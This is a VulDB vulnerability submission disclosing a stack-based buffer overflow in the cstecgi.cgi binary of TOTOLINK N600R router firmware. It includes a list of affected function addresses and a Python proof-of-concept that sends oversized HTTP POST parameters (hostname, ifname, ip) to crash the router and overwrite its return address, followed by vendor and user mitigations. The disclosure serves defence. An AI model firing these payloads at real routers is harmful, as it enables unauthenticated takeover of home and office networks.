제출 #881258: Totolink N600R Wireless N Router V4.3.0cu.7647_B20210106 Stack-based Buffer Overflow정보

제목Totolink N600R Wireless N Router V4.3.0cu.7647_B20210106 Stack-based Buffer Overflow
설명A widespread stack-based buffer overflow vulnerability exists in the `cstecgi.cgi` binary of TOTOLINK N600R Wireless N Router firmware V4.3.0cu.7647_B20210106. A total of **24 functions** use `strcpy()` and/or `sprintf()` to copy user-supplied HTTP parameters into fixed-size stack buffers without bounds checking. The affected functions range from large handlers (up to 5520 bytes) to extremely minimal helpers — `getLanNetmask()` and `getLanIp()` are only **100 bytes** each, representing near-minimal overflow attack surfaces. All `strcpy()` calls go through the MIPS GOT indirection at `GOT strcpy@0x43fee8`. On MIPS32 Big Endian, the return address (`$ra`) sits at the top of the stack frame, meaning a stack buffer overflow immediately overwrites the return address, giving the attacker direct control of the program counter with no additional exploitation primitives required. The firmware is compiled without stack canaries or other protections. --- ## Technical Details ### Root Cause ``` HTTP POST → cstecgi.cgi handler → websGetVar("param") → strcpy(stack_buf, huge_input) → $ra overwritten → PC=0x42424242 ``` All 24 affected functions follow the same pattern: user-supplied HTTP parameters obtained via `websGetVar()` are copied into fixed-size stack buffers using `strcpy()` or formatted via `sprintf()`. Neither function performs any bounds checking. When an attacker sends an oversized parameter value, the stack buffer overflows, overwriting the saved return address (`$ra` on MIPS). On MIPS32 BE, `$ra` is typically the first value after the stack frame's local variables, making exploitation straightforward. The `strcpy()` GOT indirection: ``` GOT strcpy@0x43fee8: lw $t9, -0x7e08($gp); jalr $t9 ``` ### GOT Indirect Call Analysis — Confirmed strcpy()/sprintf() Callers #### Pure strcpy() Overflow Functions (no system() call) | Address | Function | Size | Sink | | ------------ | ----------------- | -------- | ------------------------------------ | | 0x419948 | sub_419948 | 3148B | strcpy | | 0x40db88 | sub_40db88 | 1856B | strcpy | | 0x406974 | sub_406974 | 1564B | sprintf, strcpy | | 0x418f10 | sub_418f10 | 956B | strcpy | | 0x407590 | sub_407590 | 924B | snprintf, sprintf, strcpy | | 0x418c24 | sub_418c24 | 748B | strcpy | | 0x424f38 | getRealGateway | 600B | strcpy | | 0x427854 | getInAddr | 496B | strcpy | | 0x428744 | arplookup | 460B | strcpy | | 0x427cc4 | getWanMac | 248B | strcpy | | **0x424e70** | **getLanNetmask** | **100B** | **strcpy (shortest overflow chain)** | | **0x424ed4** | **getLanIp** | **100B** | **strcpy (shortest overflow chain)** | #### Combined system() + strcpy()/sprintf() Functions (dual-risk) | Address | Function | Size | Sinks | | -------- | ----------------- | ----- | --------------------------------- | | 0x420cd0 | sub_420cd0 | 5520B | system, snprintf, sprintf, strcpy | | 0x41e10c | sub_41e10c | 5040B | system, sprintf, strcpy | | 0x41d20c | sub_41d20c | 3840B | system, sprintf, strcpy | | 0x422870 | main (dispatcher) | 3532B | system, snprintf, sprintf, strcpy | | 0x41bac4 | sub_41bac4 | 2892B | system, sprintf, strcpy | | 0x40ee94 | sub_40ee94 | 2484B | system, sprintf, strcpy | | 0x426850 | sub_426850 | 2480B | system, sprintf, strcpy | | 0x415d90 | sub_415d90 | 1868B | system, snprintf, strcpy | | 0x41b448 | sub_41b448 | 1660B | system, sprintf, strcpy | | 0x41309c | sub_41309c | 1140B | system, sprintf, strcpy | | 0x41ce68 | sub_41ce68 | 932B | system, sprintf, strcpy | | 0x429520 | getCurrentTime | 228B | popen, strcpy | ### Why MIPS32 BE Makes Exploitation Easier On MIPS32 Big Endian architecture: - The saved return address (`$ra`) is stored at a predictable offset from the stack frame base - The stack grows downward; function arguments and local variables are below `$ra` - Overflowing a local buffer naturally overwrites `$ra` as the overflow propagates upward in memory - No stack canaries (`-fno-stack-protector`) are present in the binary - No ASLR on the embedded platform --- ## Proof of Concept ```python #!/usr/bin/env python3 """PoC: TOTOLINK N600R cstecgi.cgi strcpy/sprintf Multi-Function Stack Overflow | CWE-121 | CVSS 9.8""" import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" # Overflow via the hostname parameter in setSystemConfig PAYLOAD = "A" * 400 + "BBBB" # 400 bytes padding + overwrite $ra with 0x42424242 r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi", data={ "topicurl": "setting/setSystemConfig", "hostname": PAYLOAD, "domain": "test.com" }, timeout=5) print(f"Status: {r.status_code}") # If the device crashes or restarts, the overflow is confirmed. # The crash is caused by attempting to return to address 0x42424242 ("BBBB"). ``` ### Expected Result The stack buffer for `hostname` is overflowed with 400 bytes of padding (`AAAA...`) followed by `BBBB` (0x42424242), which overwrites the saved return address (`$ra`). When the function returns, execution jumps to `0x42424242`, causing a crash (SIGSEGV) and device reboot. A refined exploit can replace `BBBB` with a ROP gadget address to achieve arbitrary code execution. ### Alternative Overflow Targets ```python # Overflow via getLanNetmask (100B function — minimal overflow surface) r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi", data={ "topicurl": "getLanNetmask", "ifname": "A" * 200 + "CCCC" }, timeout=5) # Overflow via arplookup (460B function) r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi", data={ "topicurl": "arplookup", "ip": "A" * 300 + struct.pack(">I", 0xDEADBEEF).decode("latin-1") }, timeout=5) ``` --- ## Impact Successful exploitation allows an unauthenticated remote attacker to: - Overflow stack buffers in 24 different functions via standard HTTP POST requests - Overwrite the saved return address (`$ra`) and hijack the execution flow - Execute arbitrary code with **root privileges** via ROP chains or shellcode - Gain full control of the router — read, modify, or exfiltrate all configuration data - Install persistent backdoors in flash memory - Use the compromised router for lateral movement within the internal network - Cause denial of service (device crash/reboot loop) The combination of **24 overflow vectors**, **no stack protection**, **MIPS32 BE's predictable `$ra` layout**, and **no ASLR on embedded platforms** makes this an extremely reliable exploitation target. --- ## Solution / Mitigation ### Vendor Recommendations 1. Replace all `strcpy()` calls with `strncpy()` or `strlcpy()`, enforcing destination buffer size limits 2. Replace `sprintf()` with `snprintf()` to prevent format-string-based buffer overflows 3. Enable stack canaries: compile with `-fstack-protector-strong` 4. Enable `-D_FORTIFY_SOURCE=2` for compile-time bounds checking on known-length buffers 5. Validate the length of all `websGetVar()` input against destination buffer sizes before copying 6. Perform a comprehensive audit of all 24 identified `strcpy`/`sprintf` call sites ### User Mitigations (until patch is available) - Restrict access to the web management interface via firewall rules - Disable WAN-side administration - Deploy network-level WAF rules to block oversized HTTP POST parameter values to `cstecgi.cgi`
원천⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TOTOLINK_N600R_cstecgi_strcpy_sprintf_Multi_Function_Stack_Overflow.md
사용자
 ST4R0002 (UID 99571)
제출2026. 07. 06. PM 02:39 (2 개월 ago)
모더레이션2026. 08. 25. PM 04:57 (2 months later)
상태수락
VulDB 항목395061 [TOTOLINK N600R 4.3.0cu.7647_B20210106 CGI /cgi-bin/cstecgi.cgi setSystemConfig 호스트 이름 메모리 손상]
포인트들20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!